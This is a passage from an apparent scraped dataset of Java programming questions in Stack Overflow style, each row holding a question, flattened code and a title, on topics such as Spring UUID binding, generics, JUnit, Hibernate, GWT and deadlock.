InvocableHandlerMethod.java:129 ) at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle ( ServletInvocableHandlerMethod.java:116 ) at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod ( RequestMappingHandlerAdapter.java:827 ) at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal ( RequestMappingHandlerAdapter.java:738 ) at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle ( AbstractHandlerMethodAdapter.java:85 ) at org.springframework.web.servlet.DispatcherServlet.doDispatch ( DispatcherServlet.java:963 ) at org.springframework.web.servlet.DispatcherServlet.doService ( DispatcherServlet.java:897 ) at org.springframework.web.servlet.FrameworkServlet.processRequest ( FrameworkServlet.java:970 ) at org.springframework.web.servlet.FrameworkServlet.doGet ( FrameworkServlet.java:861 ) at javax.servlet.http.HttpServlet.service ( HttpServlet.java:622 ) at org.springframework.web.servlet.FrameworkServlet.service ( FrameworkServlet.java:846 ) at javax.servlet.http.HttpServlet.service ( HttpServlet.java:729 ) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter ( ApplicationFilterChain.java:230 ) at org.apache.catalina.core.ApplicationFilterChain.doFilter ( ApplicationFilterChain.java:165 ) at org.apache.tomcat.websocket.server.WsFilter.doFilter ( WsFilter.java:52 ) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter ( ApplicationFilterChain.java:192 ) at org.apache.catalina.core.ApplicationFilterChain.doFilter ( ApplicationFilterChain.java:165 ) at org.springframework.security.web.FilterChainProxy $ VirtualFilterChain.doFilter ( FilterChainProxy.java:317 ) at org.springframework.security.web.access.intercept.FilterSecurityInterceptor.invoke ( FilterSecurityInterceptor.java:127 ) at org.springframework.security.web.access.intercept.FilterSecurityInterceptor.doFilter ( FilterSecurityInterceptor.java:91 ) at org.springframework.security.web.FilterChainProxy $ VirtualFilterChain.doFilter ( FilterChainProxy.java:331 ) at org.springframework.security.web.access.ExceptionTranslationFilter.doFilter ( ExceptionTranslationFilter.java:115 ) at org.springframework.security.web.FilterChainProxy $ VirtualFilterChain.doFilter ( FilterChainProxy.java:331 ) at org.springframework.security.web.session.SessionManagementFilter.doFilter ( SessionManagementFilter.java:137 ) at org.springframework.security.web.FilterChainProxy $ VirtualFilterChain.doFilter ( FilterChainProxy.java:331 ) at org.springframework.security.web.authentication.AnonymousAuthenticationFilter.doFilter ( AnonymousAuthenticationFilter.java:111 ) at org.springframework.security.web.FilterChainProxy $ VirtualFilterChain.doFilter ( FilterChainProxy.java:331 ) at org.springframework.security.web.servletapi.SecurityContextHolderAwareRequestFilter.doFilter ( SecurityContextHolderAwareRequestFilter.java:169 ) at org.springframework.security.web.FilterChainProxy $ VirtualFilterChain.doFilter ( FilterChainProxy.java:331 ) at org.springframework.security.web.savedrequest.RequestCacheAwareFilter.doFilter ( RequestCacheAwareFilter.java:63 ) at org.springframework.security.web.FilterChainProxy $ VirtualFilterChain.doFilter ( FilterChainProxy.java:331 ) at org.springframework.security.web.authentication.AbstractAuthenticationProcessingFilter.doFilter ( AbstractAuthenticationProcessingFilter.java:200 ) at org.springframework.security.web.FilterChainProxy $ VirtualFilterChain.doFilter ( FilterChainProxy.java:331 ) at org.springframework.security.web.authentication.logout.LogoutFilter.doFilter ( LogoutFilter.java:121 ) at org.springframework.security.web.FilterChainProxy $ VirtualFilterChain.doFilter ( FilterChainProxy.java:331 ) at org.springframework.security.web.header.HeaderWriterFilter.doFilterInternal ( HeaderWriterFilter.java:66 ) at org.springframework.web.filter.OncePerRequestFilter.doFilter ( OncePerRequestFilter.java:107 ) at org.springframework.security.web.FilterChainProxy $ VirtualFilterChain.doFilter ( FilterChainProxy.java:331 ) at org.springframework.security.web.context.SecurityContextPersistenceFilter.doFilter ( SecurityContextPersistenceFilter.java:105 ) at org.springframework.security.web.FilterChainProxy $ VirtualFilterChain.doFilter ( FilterChainProxy.java:331 ) at org.springframework.security.web.context.request.async.WebAsyncManagerIntegrationFilter.doFilterInternal ( WebAsyncManagerIntegrationFilter.java:56 ) at org.springframework.web.filter.OncePerRequestFilter.doFilter ( OncePerRequestFilter.java:107 ) at org.springframework.security.web.FilterChainProxy $ VirtualFilterChain.doFilter ( FilterChainProxy.java:331 ) at org.springframework.security.web.FilterChainProxy.doFilterInternal ( FilterChainProxy.java:214 ) at org.springframework.security.web.FilterChainProxy.doFilter ( FilterChainProxy.java:177 ) at org.springframework.web.filter.DelegatingFilterProxy.invokeDelegate ( DelegatingFilterProxy.java:346 ) at org.springframework.web.filter.DelegatingFilterProxy.doFilter ( DelegatingFilterProxy.java:262 ) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter ( ApplicationFilterChain.java:192 ) at org.apache.catalina.core.ApplicationFilterChain.doFilter ( ApplicationFilterChain.java:165 ) at org.springframework.web.filter.RequestContextFilter.doFilterInternal ( RequestContextFilter.java:99 ) at org.springframework.web.filter.OncePerRequestFilter.doFilter ( OncePerRequestFilter.java:107 ) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter ( ApplicationFilterChain.java:192 ) at org.apache.catalina.core.ApplicationFilterChain.doFilter ( ApplicationFilterChain.java:165 ) at org.springframework.web.filter.HttpPutFormContentFilter.doFilterInternal ( HttpPutFormContentFilter.java:89 ) at org.springframework.web.filter.OncePerRequestFilter.doFilter ( OncePerRequestFilter.java:107 ) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter ( ApplicationFilterChain.java:192 ) at org.apache.catalina.core.ApplicationFilterChain.doFilter ( ApplicationFilterChain.java:165 ) at org.springframework.web.filter.HiddenHttpMethodFilter.doFilterInternal ( HiddenHttpMethodFilter.java:77 ) at org.springframework.web.filter.OncePerRequestFilter.doFilter ( OncePerRequestFilter.java:107 ) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter ( ApplicationFilterChain.java:192 ) at org.apache.catalina.core.ApplicationFilterChain.doFilter ( ApplicationFilterChain.java:165 ) at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal ( CharacterEncodingFilter.java:197 ) at org.springframework.web.filter.OncePerRequestFilter.doFilter ( OncePerRequestFilter.java:107 ) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter ( ApplicationFilterChain.java:192 ) at org.apache.catalina.core.ApplicationFilterChain.doFilter ( ApplicationFilterChain.java:165 ) at org.apache.catalina.core.StandardWrapperValve.invoke ( StandardWrapperValve.java:198 ) at org.apache.catalina.core.StandardContextValve.invoke ( StandardContextValve.java:108 ) at org.apache.catalina.authenticator.AuthenticatorBase.invoke ( AuthenticatorBase.java:472 ) at org.apache.catalina.core.StandardHostValve.invoke ( StandardHostValve.java:140 ) at org.apache.catalina.valves.ErrorReportValve.invoke ( ErrorReportValve.java:79 ) at org.apache.catalina.core.StandardEngineValve.invoke ( StandardEngineValve.java:87 ) at org.apache.catalina.connector.CoyoteAdapter.service ( CoyoteAdapter.java:349 ) at org.apache.coyote.http11.Http11Processor.service ( Http11Processor.java:784 ) at org.apache.coyote.AbstractProcessorLight.process ( AbstractProcessorLight.java:66 ) at org.apache.coyote.AbstractProtocol $ ConnectionHandler.process ( AbstractProtocol.java:802 ) at org.apache.tomcat.util.net.NioEndpoint $ SocketProcessor.doRun ( NioEndpoint.java:1410 ) at org.apache.tomcat.util.net.SocketProcessorBase.run ( SocketProcessorBase.java:49 ) at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1142 ) at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:617 ) at org.apache.tomcat.util.threads.TaskThread $ WrappingRunnable.run ( TaskThread.java:61 ) at java.lang.Thread.run ( Thread.java:745 ) Caused by : java.lang.IllegalArgumentException : Invalid UUID string : bullshit at java.util.UUID.fromString ( UUID.java:194 ) at org.springframework.beans.propertyeditors.UUIDEditor.setAsText ( UUIDEditor.java:37 ) at org.springframework.beans.TypeConverterDelegate.doConvertTextValue ( TypeConverterDelegate.java:468 ) at org.springframework.beans.TypeConverterDelegate.doConvertValue ( TypeConverterDelegate.java:441 ) at org.springframework.beans.TypeConverterDelegate.convertIfNecessary ( TypeConverterDelegate.java:199 ) at org.springframework.beans.TypeConverterDelegate.convertIfNecessary ( TypeConverterDelegate.java:108 ) at org.springframework.beans.TypeConverterSupport.doConvert ( TypeConverterSupport.java:64 ) at org.springframework.beans.TypeConverterSupport.convertIfNecessary ( TypeConverterSupport.java:47 ) at org.springframework.validation.DataBinder.convertIfNecessary ( DataBinder.java:713 ) at org.springframework.web.method.annotation.AbstractNamedValueMethodArgumentResolver.resolveArgument ( AbstractNamedValueMethodArgumentResolver.java:120 ) ... 83 more < html > < head > < link rel= '' stylesheet '' href= '' /path/valid.css '' > < /head > < body > < h1 > This is a test page < /h1 > < /body > < /html > @ GetMapping ( `` /test/ { id1 } / '' ) public String testMethod ( @ PathVariable UUID id1 ) { return `` test '' ; } Request : /test/b74adb59-af60-423e-a3dd-c2f356114b51/ < html > < head > < link rel= '' stylesheet '' href= '' bullshit '' > < /head > < body > < h1 > This is a test page < /h1 > < /body > < /html >,Site resources leaks into UUID in GetMapping +Java,"For some reason , the following code compiles normally : I would normally expect Eclipse to mark it as an error ( null can not be turned to a double primitive ) .Just to back my assumption , this code would not work : Eclipse would mark the return null line as error , stating : Type mismatch : can not convert from null to doubleWhy does n't it say the same thing on the previous code snippet ? !",public double getSomeDouble ( ) { return `` '' ! = null ? 3.7d : null ; } public double getSomeDouble ( ) { return null ; },Ternary expression sometimes bypasses compiler checks validations +Java,"The getCategory method below seems very redundant and I was wondering if anyone has some suggestions on refactoring it to make it cleaner possibly using an Enum . Based on the `` val '' passed in , I need getCategory to return the proper Category instance from the Category class . The Category class is generated JNI code , so I do n't want to change that . Anyone have any ideas ? Method to be refactored : Category.java : Generated JNI ( ca n't change this ) :","private Category getCategory ( String val ) throws Exception { Category category ; if ( val.equalsIgnoreCase ( `` producer '' ) ) { usageCategory = Category.CATEGORY_PRODUCER ; } else if ( val.equalsIgnoreCase ( `` meter '' ) ) { usageCategory = Category.CATEGORY_METER ; } else if ( val.equalsIgnoreCase ( `` consumer '' ) ) { usageCategory = Category.CATEGORY_CONSUMER ; } else { throw new Exception ( `` Invalid value : `` + val ) ; } return usageCategory ; } public final class Category { public final static Category CATEGORY_PRODUCER = new Category ( `` CATEGORY_PRODUCER '' , SampleJNI.CATEGORY_PRODUCER_get ( ) ) ; public final static Category CATEGORY_METER = new Category ( `` CATEGORY_METER '' , SampleJNI.CATEGORY_METER_get ( ) ) ; public final static Category CATEGORY_CONSUMER = new Category ( `` CATEGORY_CONSUMER '' , SampleJNI.CATEGORY_CONSUMER_get ( ) ) ; }",Java Method Refactoring Using Enum +Java,I 'm fairly out of touch with my Java programming and am doing Google 's Udacity course as a refresher . I was going through lesson 1 on the Sunshine app where the lecturer chose to create fake data by declaring an array of strings and then converting it to an ArrayList . The code is the following : I was wondering is there any advantage to using this convertion method ? Why not just immediately declare the data as an ArrayList as such : Thanks !,"String [ ] data = { `` Mon 6/23 - Sunny - 31/17 '' , `` Tue 6/24 - Foggy - 21/8 '' , `` Wed 6/25 - Cloudy - 22/17 '' , `` Thurs 6/26 - Rainy - 18/11 '' , `` Fri 6/27 - Foggy - 21/10 '' , `` Sat 6/28 - TRAPPED IN WEATHERSTATION - 23/18 '' , `` Sun 6/29 - Sunny - 20/7 '' } ; List < String > weatherForecast = new ArrayList < > ( Arrays.asList ( data ) ) ; ArrayList weatherForecast = new ArrayList ( ) ; weatherForecast.add ( `` Today - Sunny - 88/63 '' ) ; weatherForecast.add ( `` Tomorrow - Foggy = 70/46 '' ) ; weatherForecast.add ( `` Weds - Cloudy - 72/63 '' ) ; weatherForecast.add ( `` Thurs 6/26 - Rainy - 18/11 '' ) ; weatherForecast.add ( `` Sat 6/28 - TRAPPED IN WEATHERSTATION - 23/18 '' ) ; weatherForecast.add ( `` Sun 6/29 - Sunny - 20/7 '' ) ;",ArrayList Declaration vs Conversion +Java,"I wanted to add some actions to my spinner ( as you can see in my code below , I added some Toasts ) .MainActivity.java : activity_main.xml : So , actually this code works fine BUT if I open the app , the first Toast ( with the text `` Item 1 '' ) is already visible . But I do n't want that . So , what do I need to do , that this does n't happen ? Thanks in advance !","public class MainActivity extends Activity implements AdapterView.OnItemSelectedListener { String [ ] items = { `` Item 1 '' , `` Item 2 '' , `` Item 3 '' , `` Item 4 '' , `` Item 5 '' } ; @ Override public void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; setContentView ( R.layout.activity_main ) ; Spinner spinner1 = ( Spinner ) findViewById ( R.id.spinner1 ) ; spinner1.setOnItemSelectedListener ( this ) ; ArrayAdapter AA = new ArrayAdapter ( this , android.R.layout.simple_spinner_item , items ) ; AA.setDropDownViewResource ( android.R.layout.simple_spinner_dropdown_item ) ; spinner1.setAdapter ( AA ) ; } @ Override public void onItemSelected ( AdapterView < ? > parent , View view , int position , long id ) { String selectedItem = parent.getItemAtPosition ( position ) .toString ( ) ; if ( selectedItem.equals ( `` Item 1 '' ) ) { Toast.makeText ( getApplicationContext ( ) , `` Item 1 '' , Toast.LENGTH_LONG ) .show ( ) ; } String selectedItem2 = parent.getItemAtPosition ( position ) .toString ( ) ; if ( selectedItem.equals ( `` Item 2 '' ) ) { Toast.makeText ( getApplicationContext ( ) , `` Item 2 '' , Toast.LENGTH_LONG ) .show ( ) ; } String selectedItem3 = parent.getItemAtPosition ( position ) .toString ( ) ; if ( selectedItem.equals ( `` Item 3 '' ) ) { Toast.makeText ( getApplicationContext ( ) , `` Item 3 '' , Toast.LENGTH_LONG ) .show ( ) ; } String selectedItem4 = parent.getItemAtPosition ( position ) .toString ( ) ; if ( selectedItem.equals ( `` Item 4 '' ) ) { Toast.makeText ( getApplicationContext ( ) , `` Item 4 '' , Toast.LENGTH_LONG ) .show ( ) ; } String selectedItem5 = parent.getItemAtPosition ( position ) .toString ( ) ; if ( selectedItem.equals ( `` Item 5 '' ) ) { Toast.makeText ( getApplicationContext ( ) , `` Item 5 '' , Toast.LENGTH_LONG ) .show ( ) ; } } @ Override public void onNothingSelected ( AdapterView < ? > parent ) { } } < RelativeLayout xmlns : android= '' http : //schemas.android.com/apk/res/android '' android : layout_width= '' match_parent '' android : layout_height= '' match_parent '' > < Spinner android : id= '' @ +id/spinner1 '' android : layout_width= '' wrap_content '' android : layout_height= '' wrap_content '' android : layout_alignParentTop= '' true '' android : layout_centerHorizontal= '' true '' android : layout_marginTop= '' 89dp '' > < /Spinner > < /RelativeLayout >",Having a little issue with an action of my spinner +Java,"I 'm trying to modify a class AuthenticatedUser to store a list of AdminRole 's . AuthenticatedUser is a class used by all my applications ; it gets put into a session when the user logs in successfully . Now I want to add a list of authorization roles to the user session . However each application defines the an AdminRole class a little differently . For example , my DataCenter application stores in the database : Not all of my applications will need the receive_email field or may want to extend their own methods . I figured this called for an abstract class . But Eclipse is complaining about the wrong Type on the Authorized_role_list setter here in this snippet.Obviously a fix is to return a list of AdminRole in my Datacenter implemetation but I thought by extending the abstract class I could pass the subclass . What am I missing ?","employee_id role_name site_name receive_email DataCenterAdminRoleDAO dcAdminDao = new DataCenterAdminRoleDAO ( ) ; try { List < DataCenterAdminRole > authorized_roles = dcAdminDao.getAuthorizedRoleListByBadge ( authenticatedUser.getBadge ( ) ) ; authenticatedUser.setAuthorized_role_list ( authorized_roles ) ; === Classespublic class AuthenticatedUser extends Employee implements Serializable { private static final long serialVersionUID = 1L ; private List < AdminRole > authorized_role_list ; ... } public abstract class AdminRole implements Serializable { private static final long serialVersionUID = 1L ; private String role_name ; //regular , admin , editor , etc.. private String site_id ; //company branches ... } public class DataCenterAdminRole extends AdminRole implements Serializable {",Java Abstract Class And Generics +Java,"So I 've started to layout unit tests for the following bit of code : with several implementations and the expectation of more to come.My initial thought was to save myself time re-writing unit tests with something like this : which I could then subclass easily to test the implementation specific additional methods like so : and likewise for implmentation 2 onwards.So my question really is : is there any reason not to do this ? JUnit seems to like it just fine , and it serves my needs , but I have n't really seen anything like it in any of the unit testing books and examples I 've been reading.Is there some best practice I 'm unwittingly violating ? Am I setting myself up for heartache down the road ? Is there simply a much better way out there I have n't considered ? Thanks for any help .",public interface MyInterface { void MyInterfaceMethod1 ( ) ; void MyInterfaceMethod2 ( ) ; } public class MyImplementation1 implements MyInterface { void MyInterfaceMethod1 ( ) { // do something } void MyInterfaceMethod2 ( ) { // do something else } void SubRoutineP ( ) { // other functionality specific to this implementation } } public class MyImplementation2 implements MyInterface { void MyInterfaceMethod1 ( ) { // do a 3rd thing } void MyInterfaceMethod2 ( ) { // do something completely different } void SubRoutineQ ( ) { // other functionality specific to this implementation } } public abstract class MyInterfaceTester { protected MyInterface m_object ; @ Setup public void setUp ( ) { m_object = getTestedImplementation ( ) ; } public abstract MyInterface getTestedImplementation ( ) ; @ Test public void testMyInterfaceMethod1 ( ) { // use m_object to run tests } @ Test public void testMyInterfaceMethod2 ( ) { // use m_object to run tests } } public class MyImplementation1Tester extends MyInterfaceTester { public MyInterface getTestedImplementation ( ) { return new MyImplementation1 ( ) ; } @ Test public void testSubRoutineP ( ) { // use m_object to run tests } },Unit Tests Architecture Question +Java,"Say I have a class called Truck and one of the private member variables is of class Wheel . A getter for the Wheel variable , getWheel , would return a reference to it , as follows : Now , whoever calls getWheel will be able to modify the private member object at will : This would defeat encapsulation , would n't it ? What would be the right remedy for this ?",class Truck { private Wheel wheel ; Truck ( ) { wheel=new Wheel ( ) ; } Wheel getWheel ( ) { return this.wheel ; } } class Wheel { int color ; } class me { public static void main ( String [ ] args ) { Truck ye=new Truck ( ) ; Wheel v=ye.getWheel ( ) ; v.color=2 ; } },Getter for private member object in Java +Java,"Can you please explain why it is possible to do : I do n't understand , why it is not possible to add something to covariant list la , but it 's still possible to add B to contravariant list lb - but not A to lb.From my point of view , it should be possible to add everything extending A to List . I can see the only reason of not doing that because it is easy to add C to list of B , likeProbably the same is true for contravariance , e.gWhat I do n't understand - why it is not possible to do It is obvious that on this stage super of C would be class B - Java does n't allow multiple inheritance.Also why it prohibitsit 's not clear for me .",import java.util.ArrayList ; import java.util.List ; public class Covariance { class A { } class B extends A { } class C extends A { } public void testSmth ( ) throws Exception { List < ? extends A > la = new ArrayList < A > ( ) ; A a = la.get ( 0 ) ; // la.add ( new B ( ) ) ; - does n't compile List < ? super B > lb = new ArrayList < A > ( ) ; // lb.add ( new A ( ) ) ; - does n't compile lb.add ( new B ( ) ) ; Object object = lb.get ( 0 ) ; } } List < B > lst = new ArrayList < B > ( ) ; List < ? extends A > lstB = lst ; lstB.add ( C ) ; // this is valid for < ? extends B > but list lst would contain instance of B. List < B > lst = new ArrayList < B > ; List < ? super C > lstC = lst ; lstC.add ( new C ( ) ) ; Object obj = lstC.get ( 0 ) ; B b = lstC.get ( 0 ) ; lstC.add ( new B ( ) ) ;,Covariance and contravariance for wildcarded types +Java,"I have an array ( cards ) of 52 cards ( 13x4 ) , and another array ( cardsOut ) of 25 cards ( 5x5 ) . I want to copy elements from the 52 cards into the 25 card array by random . Also , I dont want any duplicates in the 5x5 array . So here 's what I have:2 problems in this code . First , the random values for row and column are only generated once , so the same value is copied into the 5x5 array every time . Since the same values are being copied every time , I 'm not sure if my duplicate checker is very effective , or if it works at all . How do I fix this ?",double row=Math.random ( ) *13 ; double column=Math.random ( ) *4 ; boolean [ ] [ ] duplicates=new boolean [ 13 ] [ 4 ] ; pokerGame [ ] [ ] cardsOut = new pokerGame [ 5 ] [ 5 ] ; for ( int i=0 ; i < 5 ; i++ ) for ( int j=0 ; j < 5 ; j++ ) { if ( duplicates [ ( int ) row ] [ ( int ) column ] ==false ) { cardsOut [ i ] [ j ] =cards [ ( int ) row ] [ ( int ) column ] ; duplicates [ ( int ) row ] [ ( int ) column ] =true ; } },Java random values and duplicates +Java,"I have to fetch date of last Thursday of month of any year but the problem I 'm facing is that for the month of dec'15 last thursday is 31-dec-2015 but I 'm getting 24-dec-2015 for the following code : And also explain me how this line of code internally works ? cal.add ( Calendar.DAY_OF_MONTH , - ( cal.get ( Calendar.DAY_OF_WEEK ) % 7+2 ) )","Date getLastThursday ( def month , def year ) { Calendar cal = Calendar.getInstance ( ) ; cal.set ( year , month,1 ) cal.add ( Calendar.DAY_OF_MONTH , - ( cal.get ( Calendar.DAY_OF_WEEK ) % 7+2 ) ) ; return cal.getTime ( ) ; }",how to get last thursday of month in java +Java,"BackgroundAstyanax 's Entity Persister saves a Map of an Entity in multiple columns . The format is mapVariable.keyThe Problem : The astyanax 's Entity Persister does n't remove deleted key/value pairs from cassandra when a Map in an Entity has been updatedThe Solution I 'm Using Now ( bad approach ) I 'm deleting the whole row , and then reinsert itSome More InfoI persist my java objects in cassandra using astyanax 's Entity Persister ( com.netflix.astyanax.entitystore ) . What I 've noticed is that when an Entity 's Map is persisted with , say , 2 values : testkey : testvalue & testkey2 : testvalue2 , and the next time the same Entity 's Map is persisted with one value ( one key/value pair was removed ) : testkey : testvalue , the testkey2 : testvalue2 is n't deleted from the column family . So , as a work-around , I need to delete the whole row and then reinsert it . My insertion code : What am I missing ? This is really inefficient and I think astyanax 's entity persister is supposed to take care of this on its own . Any thoughts ?","final EntityManager < T , String > entityManager = new DefaultEntityManager.Builder < T , String > ( ) .withEntityType ( clazz ) .withKeyspace ( getKeyspace ( ) ) .withColumnFamily ( columnFamily ) .build ( ) ; entityManager.put ( entity ) ;",Astyanax 's EntityPersister & Collection Updates +Java,"I 'm using Hibernate 5.0 + Postgres 9.4My entities use UUIDs as indentifier.The project also uses hibernate-spatial.The id property is annotated simply asAfter persisting any entity ( not only the ones with geometrical data ) , I get the following error : Looks like there is some conflict in types mapping to me ; though I 'm not an expert of Hibernate types mapping.Is there anyone who can help me overcome this issue ?",@ Id @ GeneratedValueprivate UUID id ; column `` id '' is of type geometry but expression is of type uuid,JTS - Hibernate + Postgres + UUID conflict +Java,"I have a method that takes an InputStream as a parameter . The method extracts Properties from the InputStream and returns the `` version '' property . This property holds the version of the application.For testing purposes , I 'd like to create a Properties object , set some properties , and then load the properties into an InputStream . Finally , the InputStream would be passed to the method under test.How would I go about this ?","public String getVersion ( InputStream inputStream ) throws IOException { Properties properties = new Properties ( ) ; properties.load ( inputStream ) ; String version = properties.getProperty ( `` version '' ) ; return version ; } @ Testpublic void testGetAppVersion ( ) { InputStream inputStream = null ; Properties prop = new Properties ( ) ; prop.setProperty ( `` version '' , `` 1.0.0.test '' ) ; // Load properties into InputStream }",Load Properties into an InputStream +Java,"I am using gwt editor framework to bind form in gwt . I was able to bind form successfully , but my problem is I need to write too many code . I think using generic will shorten my code but I could n't do it . The code for EditVendorWorkflow is almost same , the only difference is this two lineExample , If I write a PersonEditor the corresponding EditPersonWorkflow code will haveSo basically there is a repetition.Any Help is appreciable .","interface Driver extends SimpleBeanEditorDriver < Vendor , VendorEditor > { } private VendorEditor editor ; interface Driver extends SimpleBeanEditorDriver < Person , PersonEditor > { } private PersonEditor editor ; public class EditVendorWorkflow { interface Driver extends SimpleBeanEditorDriver < Vendor , VendorEditor > { } Driver driver = GWT.create ( Driver.class ) ; private VendorEditor editor ; void edit ( Vendor p ) { driver.initialize ( editor ) ; driver.edit ( p ) ; } void save ( ) { Vendor edited = driver.flush ( ) ; //doSomethingWithEditedVendor ( edited ) ; } public void initialize ( VendorEditor editor ) { this.editor = editor ; } } public class VendorEditor extends Composite implements Editor < Vendor > { private static VendorEditorUiBinder uiBinder = GWT .create ( VendorEditorUiBinder.class ) ; @ UiField Button save ; @ UiField TextBox address ; @ UiField TextBox contactName ; @ UiField ValueBoxEditorDecorator < String > contactMobileNo ; @ Path ( `` department.name '' ) @ UiField TextBox deptName ; interface VendorEditorUiBinder extends UiBinder < Widget , VendorEditor > { } private final EditVendorWorkflow vendorDriver ; public VendorEditor ( Vendor p ) { initWidget ( uiBinder.createAndBindUi ( this ) ) ; vendorDriver = GWT.create ( EditVendorWorkflow.class ) ; vendorDriver.initialize ( this ) ; vendorDriver.edit ( p ) ; } @ UiHandler ( `` save '' ) void onSaveClick ( ClickEvent event ) { vendorDriver.save ( ) ; } }",apply java generic in gwt editor +Java,"I do n't think this is a duplicate of Check if a generic T implements an interface , but it may be ( ? ? ) .So , I want to create a generic interface that only allows objects that implements two interfaces . Alike is a costum interface.If I understand it correctly , Java now tries to create a generic interface AbstractSortedSimpleList < T , Alike > , which isnt exactly what I want to achieve . I want AbstractSortedSimpleList < T > where T has to implement both Comparable < T > and Alike.Later , I want to make a new classThe point here is to create a class SortedSimpleList < T > where T has to be implementing the aforementioned interfaces . But my code does not seem to work very well .","public interface AbstractSortedSimpleList < T extends Comparable < T > , Alike > { } public class SortedSimpleList < T > implements AbstractSortedSimpleList < T > { }",How can I define a generic class that implements two interfaces ? +Java,I have a problem with streams . I have many Customer objects and I would like to calculate which one of them paid the most.This is my sample data : Now I should group by customer because one customer has many orders and calculate price * and quantity and select maximum using orders.stream ( ) ? How can I do that ? My class definitions : And builders,class Orders { private List < Order > orders = new ArrayList < > ( ) ; public void prepareData ( ) { Product socks = new ProductBuilder ( ) .setPrice ( new BigDecimal ( `` 23 '' ) ) .setCategory ( Category.C ) .setName ( `` SOCKS '' ) .build ( ) ; Product jacket = new ProductBuilder ( ) .setPrice ( new BigDecimal ( `` 199 '' ) ) .setCategory ( Category.A ) .setName ( `` JACKET '' ) .build ( ) ; Product watch = new ProductBuilder ( ) .setPrice ( new BigDecimal ( `` 100 '' ) ) .setCategory ( Category.B ) .setName ( `` WATCH CASIO '' ) .build ( ) ; Customer john = new CustomerBuilder ( ) .setAge ( 18 ) .setName ( `` JOHN '' ) .setSurname ( `` JOHNSON '' ) .setEmail ( `` john @ johnson.com '' ) .build ( ) ; Customer mike = new CustomerBuilder ( ) .setAge ( 20 ) .setName ( `` MIKE '' ) .setSurname ( `` MAX '' ) .setEmail ( `` mike @ max.com '' ) .build ( ) ; Order orderJohn = new OrderBuilder ( ) .setQuantity ( 2 ) .setCustomer ( john ) .setProduct ( watch ) .setOrderDate ( LocalDate.now ( ) ) .build ( ) ; Order orderJohn2 = new OrderBuilder ( ) .setQuantity ( 4 ) .setCustomer ( john ) .setProduct ( socks ) .setOrderDate ( LocalDate.now ( ) ) .build ( ) ; Order orderMike = new OrderBuilder ( ) .setQuantity ( 2 ) .setCustomer ( mike ) .setProduct ( jacket ) .setOrderDate ( LocalDate.now ( ) ) .build ( ) ; orders.add ( orderJohn ) ; orders.add ( orderJohn2 ) ; orders.add ( orderMike ) ; } } public class Order { private Customer customer ; private Product product ; private int quantity ; private LocalDate orderDate ; //get/set } public class Customer { private String name ; private String surname ; private int age ; private String email ; //get/set } public class Product { private String name ; private BigDecimal price ; private Category category ; //get/set } public class CustomerBuilder { private Customer customer = new Customer ( ) ; public CustomerBuilder setName ( String name ) { customer.setName ( name ) ; return this ; } public CustomerBuilder setSurname ( String surname ) { customer.setSurname ( surname ) ; return this ; } public CustomerBuilder setAge ( int age ) { customer.setAge ( age ) ; return this ; } public CustomerBuilder setEmail ( String email ) { customer.setEmail ( email ) ; return this ; } public Customer build ( ) { return customer ; } } public class OrderBuilder { private Order order = new Order ( ) ; public OrderBuilder setCustomer ( Customer customer ) { order.setCustomer ( customer ) ; return this ; } public OrderBuilder setProduct ( Product product ) { order.setProduct ( product ) ; return this ; } public OrderBuilder setQuantity ( int quantity ) { order.setQuantity ( quantity ) ; return this ; } public OrderBuilder setOrderDate ( LocalDate orderDate ) { order.setOrderDate ( orderDate ) ; return this ; } public Order build ( ) { return order ; } } public class ProductBuilder { private Product product = new Product ( ) ; public ProductBuilder setCategory ( Category category ) { product.setCategory ( category ) ; return this ; } public ProductBuilder setName ( String name ) { product.setName ( name ) ; return this ; } public ProductBuilder setPrice ( BigDecimal bigDecimal ) { product.setPrice ( bigDecimal ) ; return this ; } public Product build ( ) { return product ; } },Java calculate max customer price using streams +Java,"Below is code directly from the Sun tutorials describing Deadlock . I however do n't understand how Deadlock can occur in this situation considering both methods are synchronized . How would two Threads be inside the same synchronized methods at the same time ? Deadlock describes a situation where two or more threads are blocked forever , waiting for each other . Here 's an example.Alphonse and Gaston are friends , and great believers in courtesy . A strict rule of courtesy is that when you bow to a friend , you must remain bowed until your friend has a chance to return the bow . Unfortunately , this rule does not account for the possibility that two friends might bow to each other at the same time . This example application , Deadlock , models this possibility : When Deadlock runs , it 's extremely likely that both threads will block when they attempt to invoke bowBack . Neither block will ever end , because each thread is waiting for the other to exit bow .","public class Deadlock { static class Friend { private final String name ; public Friend ( String name ) { this.name = name ; } public String getName ( ) { return this.name ; } public synchronized void bow ( Friend bower ) { System.out.format ( `` % s : % s has bowed to me ! % n '' , this.name , bower.getName ( ) ) ; bower.bowBack ( this ) ; } public synchronized void bowBack ( Friend bower ) { System.out.format ( `` % s : % s has bowed back to me ! % n '' , this.name , bower.getName ( ) ) ; } } public static void main ( String [ ] args ) { final Friend alphonse = new Friend ( `` Alphonse '' ) ; final Friend gaston = new Friend ( `` Gaston '' ) ; new Thread ( new Runnable ( ) { public void run ( ) { alphonse.bow ( gaston ) ; } } ) .start ( ) ; new Thread ( new Runnable ( ) { public void run ( ) { gaston.bow ( alphonse ) ; } } ) .start ( ) ; } }",A question about Deadlock from the Sun tutorials +Java,"I 'm seeing differences across platforms about when Class.forName ( ) throws ClassNotFoundException and when it throws NoClassDefFoundError . Is this behavior well-defined somewhere , or have I stumbled across a bug ? Consider the following code ( which is a standalone java file in the default package ) : The code produces the expected output on Linux : It produces a different , but understandable , output on Windows : The output on Windows makes sense : Because the file system is not case sensitive , the JVM loads the file dLExceptionType.class , but that file contains a class with a different name : DLExceptionTypeHowever , when I run the code on Mac ( with has a 